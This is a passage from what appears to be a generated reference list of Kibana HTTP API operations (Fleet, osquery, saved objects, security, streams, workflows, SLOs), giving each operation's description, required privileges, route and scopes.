/api/fleet/epm/packages/_bulk_uninstall. POST /api/v1/kibana/api/fleet/epm/packages/_bulk_uninstall. Scopes: api. kibana_post_api_fleet_epm_packages_bulk_upgrade (write) — Upgrade multiple packages to their latest versions. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/_bulk_upgrade. POST /api/v1/kibana/api/fleet/epm/packages/_bulk_upgrade. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname (write) — Install the latest version of a package from the Elastic Package Registry. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/{pkgName}. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_by_pkgversion (write) — Install a specific version of a package from the Elastic Package Registry. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/{pkgName}/{pkgVersion}. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_by_pkgversion_kibana_assets (write) — Install Kibana assets (dashboards, visualizations, etc.) for a specific package version. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/{pkgName}/{pkgVersion}/kibana_assets. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/kibana_assets. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_by_pkgversion_rule_assets (write) — Install Kibana alert rule assets for a specific package version. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. Kibana POST /api/fleet/epm/packages/{pkgName}/{pkgVersion}/rule_assets. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/rule_assets. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_by_pkgversion_transforms_authorize (write) — Reauthorize Elasticsearch transforms installed by a package with secondary authorization headers. Kibana POST /api/fleet/epm/packages/{pkgName}/{pkgVersion}/transforms/authorize. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/{pkgVersion}/transforms/authorize. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_review_upgrade (write) — Review and accept or reject a pending policy upgrade for a package that contains deprecations. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. [Generally available; added in 9.4.0] Kibana POST /api/fleet/epm/packages/{pkgName}/review_upgrade. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/review_upgrade. Scopes: api. kibana_post_api_fleet_epm_packages_by_pkgname_rollback (write) — Rollback a package to its previously installed version. [Required authorization] Route required privileges: integrations-all AND fleet-agent-policies-all. [Experimental; added in 9.1.0] Kibana POST /api/fleet/epm/packages/{pkgName}/rollback. POST /api/v1/kibana/api/fleet/epm/packages/{pkgName}/rollback. Scopes: api. kibana_post_api_fleet_fleet_server_hosts (write) — Create a new Fleet Server host. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/fleet_server_hosts. POST /api/v1/kibana/api/fleet/fleet_server_hosts. Scopes: api. kibana_post_api_fleet_health_check (write) — Check the health status of a Fleet Server instance by its host ID. Returns the server status and name if available. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/health_check. POST /api/v1/kibana/api/fleet/health_check. Scopes: api. kibana_post_api_fleet_logstash_api_keys (write) — Generate an API key for Logstash to use with a Fleet output. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/logstash_api_keys. POST /api/v1/kibana/api/fleet/logstash_api_keys. Scopes: api. kibana_post_api_fleet_managed_integrations (write) — Create a managed integration. [Experimental; added in 9.3.0] Kibana POST /api/fleet/managed_integrations. POST /api/v1/kibana/api/fleet/managed_integrations. Scopes: api. kibana_post_api_fleet_managed_integrations_upgrade (write) — Upgrade multiple managed integrations to their installed package version, migrating each package policy's config onto the new schema. [Experimental; added in 9.5.0] Kibana POST /api/fleet/managed_integrations/_upgrade. POST /api/v1/kibana/api/fleet/managed_integrations/_upgrade. Scopes: api. kibana_post_api_fleet_managed_integrations_upgrade_dryrun (write) — Preview upgrading multiple managed integrations without applying any change. Targets the installed package version by default; pass `pkgVersion` to preview a specific (for example, not-yet-installed) version. [Experimental; added in 9.5.0] Kibana POST /api/fleet/managed_integrations/_upgrade/dryrun. POST /api/v1/kibana/api/fleet/managed_integrations/_upgrade/dryrun. Scopes: api. kibana_post_api_fleet_message_signing_service_rotate_key_pair (write) — Rotate the key pair used by Fleet to sign messages sent to Elastic Agents. This operation is irreversible and requires all agents in the Fleet to be re-enrolled after rotation. You must explicitly acknowledge the risk by passing `acknowledge=true` as a query parameter. Kibana POST /api/fleet/message_signing_service/rotate_key_pair. POST /api/v1/kibana/api/fleet/message_signing_service/rotate_key_pair. Scopes: api. kibana_post_api_fleet_outputs (write) — Create a new Fleet output. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/outputs. POST /api/v1/kibana/api/fleet/outputs. Scopes: api. kibana_post_api_fleet_package_policies (write) — Create a new package policy and assign it to an agent policy. Kibana POST /api/fleet/package_policies. POST /api/v1/kibana/api/fleet/package_policies. Scopes: api. kibana_post_api_fleet_package_policies_bulk_get (write) — Get multiple package policies by ID. Kibana POST /api/fleet/package_policies/_bulk_get. POST /api/v1/kibana/api/fleet/package_policies/_bulk_get. Scopes: api. kibana_post_api_fleet_package_policies_delete (write) — Delete multiple package policies by ID. [Required authorization] Route required privileges: fleet-agent-policies-all AND integrations-all. Kibana POST /api/fleet/package_policies/delete. POST /api/v1/kibana/api/fleet/package_policies/delete. Scopes: api. kibana_post_api_fleet_package_policies_upgrade (write) — Upgrade a package policy to a newer package version. [Required authorization] Route required privileges: fleet-agent-policies-all AND integrations-all. Kibana POST /api/fleet/package_policies/upgrade. POST /api/v1/kibana/api/fleet/package_policies/upgrade. Scopes: api. kibana_post_api_fleet_package_policies_upgrade_dryrun (write) — Preview the changes that would be applied by upgrading a package policy to a newer package version. [Required authorization] Route required privileges: fleet-agent-policies-read AND integrations-read. Kibana POST /api/fleet/package_policies/upgrade/dryrun. POST /api/v1/kibana/api/fleet/package_policies/upgrade/dryrun. Scopes: api. kibana_post_api_fleet_proxies (write) — Create a new Fleet proxy. [Required authorization] Route required privileges: fleet-settings-all. Kibana POST /api/fleet/proxies. POST /api/v1/kibana/api/fleet/proxies. Scopes: api. kibana_post_api_fleet_service_tokens (write) — Create a Fleet Server service token. The token is used to enroll Fleet Server instances with Kibana. [Required authorization] Route required privileges: fleet-agents-all. Kibana POST /api/fleet/service_tokens. POST /api/v1/kibana/api/fleet/service_tokens. Scopes: api. kibana_post_api_fleet_setup (write) — Initialize Fleet and create the necessary Elasticsearch resources for Fleet to operate. Safe to call multiple times (idempotent). Returns the initialization status and any non-fatal errors encountered during setup. Kibana POST /api/fleet/setup. POST /api/v1/kibana/api/fleet/setup. Scopes: api. kibana_post_api_lists (write) — Create a new value list. Kibana POST /api/lists. POST /api/v1/kibana/api/lists. Scopes: api. kibana_post_api_lists_index (write) — **DEPRECATED.** `deprecated: true` is set on this operation. Value list backing data streams for the space are now created as part of supported workflows; calling this explicitly is rarely required. **WARNING:** Do not use for new integrations. Kibana POST /api/lists/index. POST /api/v1/kibana/api/lists/index. Scopes: api. kibana_post_api_lists_items (write) — Create a value list item and associate it with the specified value list. All value list items in the same list must be the same type. For example, each list item in an `ip` list must define a specific IP address. > info > Before creating a list item, you must create a list. Kibana POST /api/lists/items. POST /api/v1/kibana/api/lists/items. Scopes: api. kibana_post_api_maintenance_window (write) — [Required authorization] Route required privileges: write-maintenance-window. [Generally available; added in 9.1.0] Kibana POST /api/maintenance_window. POST /api/v1/kibana/api/maintenance_window. Scopes: api. kibana_post_api_maintenance_window_by_id_archive (write) — [Required authorization] Route required privileges: write-maintenance-window. [Generally available; added in 9.1.0] Kibana POST /api/maintenance_window/{id}/_archive. POST /api/v1/kibana/api/maintenance_window/{id}/_archive. Scopes: api. kibana_post_api_maintenance_window_by_id_unarchive (write) — [Required authorization] Route required privileges: write-maintenance-window. [Generally available; added in 9.1.0] Kibana POST /api/maintenance_window/{id}/_unarchive. POST /api/v1/kibana/api/maintenance_window/{id}/_unarchive. Scopes: api. kibana_post_api_ml_saved_objects_update_jobs_spaces (write) — Update a list of jobs to add and/or remove them from given spaces. Kibana POST /api/ml/saved_objects/update_jobs_spaces. POST /api/v1/kibana/api/ml/saved_objects/update_jobs_spaces. Scopes: api. kibana_post_api_ml_saved_objects_update_trained_models_spaces (write) — Update a list of trained models to add and/or remove them from given spaces. Kibana POST /api/ml/saved_objects/update_trained_models_spaces. POST /api/v1/kibana/api/ml/saved_objects/update_trained_models_spaces. Scopes: api. kibana_post_api_observability_ai_assistant_chat_complete (write) — Create a new chat completion by using the Observability AI Assistant. The API returns the model's response based on the current conversation context. It also handles any tool requests within the conversation, which may trigger multiple calls to the underlying large language model (LLM). [Technical Preview] Kibana POST /api/observability_ai_assistant/chat/complete. POST /api/v1/kibana/api/observability_ai_assistant/chat/complete. Scopes: api. kibana_post_api_osquery_live_queries (write) — Create and run a live query. Kibana POST /api/osquery/live_queries. POST /api/v1/kibana/api/osquery/live_queries. Scopes: api. kibana_post_api_osquery_live_queries_by_id_results_by_actionid_export (write) — Export the results of a live query action as a downloadable file. The response is a streaming file attachment in the requested format. [Generally available; Added in 9.5.0] Kibana POST /api/osquery/live_queries/{id}/results/{actionId}/_export. POST /api/v1/kibana/api/osquery/live_queries/{id}/results/{actionId}/_export. Scopes: api. kibana_post_api_osquery_packs (write) — Create a query pack. Kibana POST /api/osquery/packs. POST /api/v1/kibana/api/osquery/packs. Scopes: api. kibana_post_api_osquery_packs_by_id_copy (write) — Create a copy of a query pack with a unique name by appending a `_copy` suffix. If the name already exists, a numeric suffix is added (e.g., `_copy_2`). The copied pack is always created with `enabled` set to `false`. [Generally available; Added in 9.4.0] Kibana POST /api/osquery/packs/{id}/copy. POST /api/v1/kibana/api/osquery/packs/{id}/copy. Scopes: api. kibana_post_api_osquery_saved_queries (write) — Create and save a query for later use. Kibana POST /api/osquery/saved_queries. POST /api/v1/kibana/api/osquery/saved_queries. Scopes: api. kibana_post_api_osquery_saved_queries_by_id_copy (write) — Create a copy of a saved query with a unique name by appending a `_copy` suffix. If the name already exists, a numeric suffix is added (e.g., `_copy_2`). [Generally available; Added in 9.4.0] Kibana POST /api/osquery/saved_queries/{id}/copy. POST /api/v1/kibana/api/osquery/saved_queries/{id}/copy. Scopes: api. kibana_post_api_osquery_scheduled_results_by_scheduleid_by_executioncount_export (write) — Export all result rows for a specific scheduled query execution as a downloadable file. The response is a streaming file attachment in the requested format. [Generally available; Added in 9.5.0] Kibana POST /api/osquery/scheduled_results/{scheduleId}/{executionCount}/_export. POST /api/v1/kibana/api/osquery/scheduled_results/{scheduleId}/{executionCount}/_export. Scopes: api. kibana_post_api_risk_score_engine_schedule_now (write) — Schedule the risk scoring engine to run as soon as possible. You can use this to recalculate entity risk scores after updating their asset criticality. Kibana POST /api/risk_score/engine/schedule_now. POST /api/v1/kibana/api/risk_score/engine/schedule_now. Scopes: api. kibana_post_api_saved_objects_bulk_create (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Creates multiple Kibana saved objects in a single request. Kibana POST /api/saved_objects/_bulk_create. POST /api/v1/kibana/api/saved_objects/_bulk_create. Scopes: api. kibana_post_api_saved_objects_bulk_delete (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Deletes multiple Kibana saved objects in a single request. There is currently no complete replacement for deleting arbitrary saved objects via an HTTP API. Kibana POST /api/saved_objects/_bulk_delete. POST /api/v1/kibana/api/saved_objects/_bulk_delete. Scopes: api. kibana_post_api_saved_objects_bulk_get (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Retrieves multiple Kibana saved objects by type and ID in a single request. For transferring or backing up saved objects, prefer the export API (`POST /api/saved_objects/_export`). Kibana POST /api/saved_objects/_bulk_get. POST /api/v1/kibana/api/saved_objects/_bulk_get. Scopes: api. kibana_post_api_saved_objects_bulk_resolve (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Retrieve multiple Kibana saved objects by ID, using any legacy URL aliases if they exist. Kibana POST /api/saved_objects/_bulk_resolve. POST /api/v1/kibana/api/saved_objects/_bulk_resolve. Scopes: api. kibana_post_api_saved_objects_by_type (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Creates a Kibana saved object; if an ID is provided it is used, otherwise Kibana generates one. Kibana POST /api/saved_objects/{type}. POST /api/v1/kibana/api/saved_objects/{type}. Scopes: api. kibana_post_api_saved_objects_by_type_by_id (write) — WARNING: This API is deprecated. This is a legacy Saved Objects API and may be removed in a future version of Kibana. Creates a Kibana saved object; if an ID is provided it is used, otherwise Kibana generates one. Kibana POST /api/saved_objects/{type}/{id}. POST /api/v1/kibana/api/saved_objects/{type}/{id}. Scopes: api. kibana_post_api_security_ai_assistant_anonymization_fields_bulk_action (write) — Apply a bulk action to multiple anonymization fields. The bulk action is applied to all anonymization fields that match the filter or to the list of anonymization fields by their IDs. Kibana POST /api/security_ai_assistant/anonymization_fields/_bulk_action. POST /api/v1/kibana/api/security_ai_assistant/anonymization_fields/_bulk_action. Scopes: api. kibana_post_api_security_ai_assistant_current_user_conversations (write) — Create a new Security AI Assistant conversation. This endpoint allows the user to initiate a conversation with the Security AI Assistant by providing the required parameters. Kibana POST /api/security_ai_assistant/current_user/conversations. POST /api/v1/kibana/api/security_ai_assistant/current_user/conversations. Scopes: api. kibana_post_api_security_ai_assistant_knowledge_base (write) — Create a knowledge base. Use this endpoint when no specific resource identifier is needed. Kibana POST /api/security_ai_assistant/knowledge_base. POST /api/v1/kibana/api/security_ai_assistant/knowledge_base. Scopes: api. kibana_post_api_security_ai_assistant_knowledge_base_by_resource (write) — Create a knowledge base with a specific resource identifier. Kibana POST /api/security_ai_assistant/knowledge_base/{resource}. POST /api/v1/kibana/api/security_ai_assistant/knowledge_base/{resource}. Scopes: api. kibana_post_api_security_ai_assistant_knowledge_base_entries (write) — Create a Knowledge Base Entry. Kibana POST /api/security_ai_assistant/knowledge_base/entries. POST /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries. Scopes: api. kibana_post_api_security_ai_assistant_knowledge_base_entries_bulk_action (write) — The bulk action is applied to all Knowledge Base Entries that match the filter or to the list of Knowledge Base Entries by their IDs. Kibana POST /api/security_ai_assistant/knowledge_base/entries/_bulk_action. POST /api/v1/kibana/api/security_ai_assistant/knowledge_base/entries/_bulk_action. Scopes: api. kibana_post_api_security_ai_assistant_prompts_bulk_action (write) — Apply a bulk action to multiple prompts. The bulk action is applied to all prompts that match the filter or to the list of prompts by their IDs. This action allows for bulk create, update, or delete operations. Kibana POST /api/security_ai_assistant/prompts/_bulk_action. POST /api/v1/kibana/api/security_ai_assistant/prompts/_bulk_action. Scopes: api. kibana_post_api_security_entity_store_entities_by_entitytype (write) — Create a new entity record in the Entity Store for the specified entity type. [Required authorization] Route required privileges: securitySolution. Kibana POST /api/security/entity_store/entities/{entityType}. POST /api/v1/kibana/api/security/entity_store/entities/{entityType}. Scopes: api. kibana_post_api_security_entity_store_install (write) — Install the Entity Store and create engines for the specified entity types. A single `logExtraction` configuration is shared across all entity types. Supply it once at install to customize settings; omit it (or send an empty object) to use defaults on first install or preserve the existing configuration on re-install. Kibana POST /api/security/entity_store/install. POST /api/v1/kibana/api/security/entity_store/install. Scopes: api. kibana_post_api_security_entity_store_resolution_link (write) — Link one or more entities to a target entity, creating a resolution group. Changes become visible on subsequent reads after the next index refresh (typically <1s). [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.4.0] Kibana POST /api/security/entity_store/resolution/link. POST /api/v1/kibana/api/security/entity_store/resolution/link. Scopes: api. kibana_post_api_security_entity_store_resolution_unlink (write) — Remove one or more entities from their resolution group. Changes become visible on subsequent reads after the next index refresh (typically <1s). [Required authorization] Route required privileges: securitySolution AND securitySolution-entity-analytics. [Generally available; added in 9.4.0] Kibana POST /api/security/entity_store/resolution/unlink. POST /api/v1/kibana/api/security/entity_store/resolution/unlink. Scopes: api. kibana_post_api_security_entity_store_uninstall (write) — Uninstall the Entity Store, removing engines and associated resources for the specified entity types. [Required authorization] Route required privileges: securitySolution. Kibana POST /api/security/entity_store/uninstall. POST /api/v1/kibana/api/security/entity_store/uninstall. Scopes: api. kibana_post_api_security_role_query (write) — Query Kibana roles with optional filters, paging, and sorting. Kibana POST /api/security/role/_query. POST /api/v1/kibana/api/security/role/_query. Scopes: api. kibana_post_api_security_roles (write) — Create or update multiple Kibana roles in a single request. Kibana POST /api/security/roles. POST /api/v1/kibana/api/security/roles. Scopes: api. kibana_post_api_security_session_invalidate (write) — Invalidate user sessions that match a query. To use this API, you must be a superuser. Kibana POST /api/security/session/_invalidate. POST /api/v1/kibana/api/security/session/_invalidate. Scopes: api. kibana_post_api_security_solution_initialize (write) — Run one or more Security Solution initialization flows for the current space. Each flow provisions a specific set of assets, for example list indices, security data views, prebuilt detection rules, endpoint protection, AI prompts, or detection rule monitoring assets. Kibana POST /api/security_solution/initialize. POST /api/v1/kibana/api/security_solution/initialize. Scopes: api. kibana_post_api_short_url (write) — Kibana URLs may be long and cumbersome, short URLs are much easier to remember and share. Short URLs are created by specifying the locator ID and locator parameters. When a short URL is resolved, the locator ID and locator parameters are used to redirect user to the right Kibana page. [Technical Preview] Kibana POST /api/short_url. POST /api/v1/kibana/api/short_url. Scopes: api. kibana_post_api_spaces_copy_saved_objects (write) — It also allows you to automatically copy related objects, so when you copy a dashboard, this can automatically copy over the associated visualizations, data views, and saved Discover sessions, as required. Kibana POST /api/spaces/_copy_saved_objects. POST /api/v1/kibana/api/spaces/_copy_saved_objects. Scopes: api. kibana_post_api_spaces_disable_legacy_url_aliases (write) — Disable one or more legacy URL aliases so that they no longer resolve to their target saved objects. Kibana POST /api/spaces/_disable_legacy_url_aliases. POST /api/v1/kibana/api/spaces/_disable_legacy_url_aliases. Scopes: api. kibana_post_api_spaces_get_shareable_references (write) — Collect references and space contexts for saved objects. Kibana POST /api/spaces/_get_shareable_references. POST /api/v1/kibana/api/spaces/_get_shareable_references. Scopes: api. kibana_post_api_spaces_resolve_copy_saved_objects_errors (write) — Overwrite saved objects that are returned as errors from the copy saved objects to space API. [Required authorization] Route required privileges: copySavedObjectsToSpaces. Kibana POST /api/spaces/_resolve_copy_saved_objects_errors. POST /api/v1/kibana/api/spaces/_resolve_copy_saved_objects_errors. Scopes: api. kibana_post_api_spaces_space (write) — Create a new Kibana space. Kibana POST /api/spaces/space. POST /api/v1/kibana/api/spaces/space. Scopes: api. kibana_post_api_spaces_update_objects_spaces (write) — Update one or more saved objects to add or remove them from some spaces. Kibana POST /api/spaces/_update_objects_spaces. POST /api/v1/kibana/api/spaces/_update_objects_spaces. Scopes: api. kibana_post_api_streams_by_name_content_export (write) — Exports a content pack with the stream structure (routing, mappings, and processing). Significant-event queries are not included; manage them via the /api/streams/{name}/queries endpoints. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/{name}/content/export. POST /api/v1/kibana/api/streams/{name}/content/export. Scopes: api. kibana_post_api_streams_by_name_fork (write) — Forks a wired stream and creates a child stream [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/{name}/_fork. POST /api/v1/kibana/api/streams/{name}/_fork. Scopes: api. kibana_post_api_streams_by_name_queries_bulk (write) — Bulk update queries of a stream. Can add new queries and delete existing ones. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/{name}/queries/_bulk. POST /api/v1/kibana/api/streams/{name}/queries/_bulk. Scopes: api. kibana_post_api_streams_by_streamname_attachments_bulk (write) — Bulk update attachments linked to a stream. Can link new attachments and delete existing ones. Supports mixed attachment types in a single request. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.3.0] Kibana POST /api/streams/{streamName}/attachments/_bulk. POST /api/v1/kibana/api/streams/{streamName}/attachments/_bulk. Scopes: api. kibana_post_api_streams_disable (write) — Disables wired streams and deletes all existing stream definitions. The data of wired streams is deleted, but the data of classic streams is preserved. [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/_disable. POST /api/v1/kibana/api/streams/_disable. Scopes: api. kibana_post_api_streams_enable (write) — Enables wired streams [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/_enable. POST /api/v1/kibana/api/streams/_enable. Scopes: api. kibana_post_api_streams_resync (write) — Resyncs all streams, making sure that Elasticsearch assets are up to date [Required authorization] Route required privileges: manage_stream. [Experimental; added in 9.1.0] Kibana POST /api/streams/_resync. POST /api/v1/kibana/api/streams/_resync. Scopes: api. kibana_post_api_synthetics_monitor_test_by_monitorid (write) — Trigger an immediate test execution for the specified monitor. The response includes the generated `testRunId`. If the test encounters issues in one or more service locations, an `errors` array is also returned with details about the failures. [Generally available; added in 9.2.0] Kibana POST /api/synthetics/monitor/test/{monitorId}. POST /api/v1/kibana/api/synthetics/monitor/test/{monitorId}. Scopes: api. kibana_post_api_synthetics_monitors (write) — Create a new monitor with the specified attributes. A monitor can be one of the following types: HTTP, TCP, ICMP, or Browser. The required and default fields may vary based on the monitor type. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana POST /api/synthetics/monitors. POST /api/v1/kibana/api/synthetics/monitors. Scopes: api. kibana_post_api_synthetics_monitors_bulk_delete (write) — Delete multiple monitors by sending a list of config IDs. Kibana POST /api/synthetics/monitors/_bulk_delete. POST /api/v1/kibana/api/synthetics/monitors/_bulk_delete. Scopes: api. kibana_post_api_synthetics_params (write) — Add one or more parameters to the Synthetics app. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana POST /api/synthetics/params. POST /api/v1/kibana/api/synthetics/params. Scopes: api. kibana_post_api_synthetics_params_bulk_delete (write) — Delete parameters from the Synthetics app. You must have `all` privileges for the Synthetics feature in the Observability section of the Kibana feature privileges. Kibana POST /api/synthetics/params/_bulk_delete. POST /api/v1/kibana/api/synthetics/params/_bulk_delete. Scopes: api. kibana_post_api_synthetics_private_locations (write) — You must have `all` privileges for the Synthetics and Uptime feature in the Observability section of the Kibana feature privileges. Kibana POST /api/synthetics/private_locations. POST /api/v1/kibana/api/synthetics/private_locations. Scopes: api. kibana_post_api_tags (write) — Creates a new tag and returns it. [Experimental; added in 9.5.0] Kibana POST /api/tags. POST /api/v1/kibana/api/tags. Scopes: api. kibana_post_api_timeline (write) — Create a new Timeline or Timeline template. Kibana POST /api/timeline. POST /api/v1/kibana/api/timeline. Scopes: api. kibana_post_api_timeline_copy (write) — Copies and returns a timeline or timeline template. Kibana POST /api/timeline/_copy. POST /api/v1/kibana/api/timeline/_copy. Scopes: api. kibana_post_api_timeline_draft (write) — Create a clean draft Timeline or Timeline template for the current user. > info > If the user already has a draft Timeline, the existing draft Timeline is cleared and returned. Kibana POST /api/timeline/_draft. POST /api/v1/kibana/api/timeline/_draft. Scopes: api. kibana_post_api_timeline_import (write) — Import Timelines. Kibana POST /api/timeline/_import. POST /api/v1/kibana/api/timeline/_import. Scopes: api. kibana_post_api_timeline_prepackaged (write) — Install or update prepackaged Timelines. Kibana POST /api/timeline/_prepackaged. POST /api/v1/kibana/api/timeline/_prepackaged. Scopes: api. kibana_post_api_visualizations (write) — > This documentation is temporarily hosted at a separate location. > > **[View the full Visualizations API reference →](https://elastic.github.io/dashboards-api-spec/visualizations#tag/Visualizations)**. Kibana POST /api/visualizations. POST /api/v1/kibana/api/visualizations. Scopes: api. kibana_post_api_workflows (write) — Create multiple workflows in a single request. Optionally overwrite existing workflows. [Required authorization] Route required privileges: workflowsManagement:create AND workflowsManagement:update. [Generally available; added in 9.4.0] Kibana POST /api/workflows. POST /api/v1/kibana/api/workflows. Scopes: api. kibana_post_api_workflows_executions_by_executionid_cancel (write) — Cancel a running workflow execution by its ID. [Required authorization] Route required privileges: workflowsManagement:cancelExecution. [Generally available; added in 9.4.0] Kibana POST /api/workflows/executions/{executionId}/cancel. POST /api/v1/kibana/api/workflows/executions/{executionId}/cancel. Scopes: api. kibana_post_api_workflows_executions_by_executionid_resume (write) — Resume a paused workflow execution with the provided input. [Required authorization] Route required privileges: workflowsManagement:execute. [Generally available; added in 9.4.0] Kibana POST /api/workflows/executions/{executionId}/resume. POST /api/v1/kibana/api/workflows/executions/{executionId}/resume. Scopes: api. kibana_post_api_workflows_executions_by_executionid_steps_by_stepid_resume_external (write) — Resume a workflow execution that is paused and waiting for external input. Submit input values as a JSON request body, authenticated with a token query parameter. Returns an HTML confirmation page. [Generally available; added in 9.4.0] Kibana POST /api/workflows/executions/{executionId}/steps/{stepId}/resume/external. POST /api/v1/kibana/api/workflows/executions/{executionId}/steps/{stepId}/resume/external. Scopes: api. kibana_post_api_workflows_export (write) — Export one or more workflows as JSON with YAML content and metadata. [Required authorization] Route required privileges: workflowsManagement:read OR workflowsManagement:managed:read. [Generally available; added in 9.4.0] Kibana POST /api/workflows/export. POST /api/v1/kibana/api/workflows/export. Scopes: api. kibana_post_api_workflows_mget (write) — Retrieve multiple workflows by their IDs in a single request. Optionally use the `source` parameter to return only specific fields from each workflow document. [Required authorization] Route required privileges: workflowsManagement:read OR workflowsManagement:managed:read. [Generally available; added in 9.4.0] Kibana POST /api/workflows/mget. POST /api/v1/kibana/api/workflows/mget. Scopes: api. kibana_post_api_workflows_step_test (write) — Execute a single step from a workflow definition in test mode. [Required authorization] Route required privileges: workflowsManagement:execute. [Generally available; added in 9.4.0] Kibana POST /api/workflows/step/test. POST /api/v1/kibana/api/workflows/step/test. Scopes: api. kibana_post_api_workflows_test (write) — Execute a workflow in test mode without requiring it to be saved or enabled. Provide either a workflow ID to test a saved workflow, a YAML definition to test an unsaved draft, or both to test a modified version of an existing workflow. [Required authorization] Route required privileges: workflowsManagement:execute. [Generally available; added in 9.4.0] Kibana POST /api/workflows/test. POST /api/v1/kibana/api/workflows/test. Scopes: api. kibana_post_api_workflows_workflow (write) — Create a new workflow from a YAML definition. The YAML is validated and parsed before the workflow is saved. An optional custom ID can be provided. [Required authorization] Route required privileges: workflowsManagement:create. [Generally available; added in 9.4.0] Kibana POST /api/workflows/workflow. POST /api/v1/kibana/api/workflows/workflow. Scopes: api. kibana_post_api_workflows_workflow_by_id_clone (write) — Create a copy of an existing workflow. [Required authorization] Route required privileges: workflowsManagement:create AND workflowsManagement:read. [Generally available; added in 9.4.0] Kibana POST /api/workflows/workflow/{id}/clone. POST /api/v1/kibana/api/workflows/workflow/{id}/clone. Scopes: api. kibana_post_api_workflows_workflow_by_id_run (write) — Execute a workflow by its ID with the provided inputs. The workflow must be enabled and have a valid definition. Returns an execution ID that can be used to monitor progress. [Required authorization] Route required privileges: workflowsManagement:execute. [Generally available; added in 9.4.0] Kibana POST /api/workflows/workflow/{id}/run. POST /api/v1/kibana/api/workflows/workflow/{id}/run. Scopes: api. kibana_post_api_workflows_workflow_by_workflowid_executions_cancel (write) — Request cancellation for all non-terminal executions of the given workflow in the current space. [Required authorization] Route required privileges: workflowsManagement:cancelExecution. [Generally available; added in 9.4.0] Kibana POST /api/workflows/workflow/{workflowId}/executions/cancel. POST /api/v1/kibana/api/workflows/workflow/{workflowId}/executions/cancel. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos (write) — You must have `all` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos. POST /api/v1/kibana/s/{spaceId}/api/observability/slos. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_bulk_delete (write) — Bulk delete SLO definitions and their associated summary and rollup data. This endpoint initiates a bulk deletion operation for SLOs, which may take some time to complete. The status of the operation can be checked using the `GET /api/slo/_bulk_delete/{taskId}` endpoint. Kibana POST /s/{spaceId}/api/observability/slos/_bulk_delete. POST /api/v1/kibana/s/{spaceId}/api/observability/slos/_bulk_delete. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_bulk_purge_rollup (write) — The deletion occurs for the specified list of `sloId`. You must have `all` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos/_bulk_purge_rollup. POST /api/v1/kibana/s/{spaceId}/api/observability/slos/_bulk_purge_rollup. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_by_sloid_disable (write) — You must have the `write` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos/{sloId}/disable. POST /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}/disable. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_by_sloid_enable (write) — You must have the `write` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos/{sloId}/enable. POST /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}/enable. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_by_sloid_reset (write) — You must have the `write` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos/{sloId}/_reset. POST /api/v1/kibana/s/{spaceId}/api/observability/slos/{sloId}/_reset. Scopes: api. kibana_post_s_by_spaceid_api_observability_slos_delete_instances (write) — The deletion occurs for the specified list of `sloId` and `instanceId`. You must have `all` privileges for the **SLOs** feature in the **Observability** section of the Kibana feature privileges. Kibana POST /s/{spaceId}/api/observability/slos/_delete_instances. POST 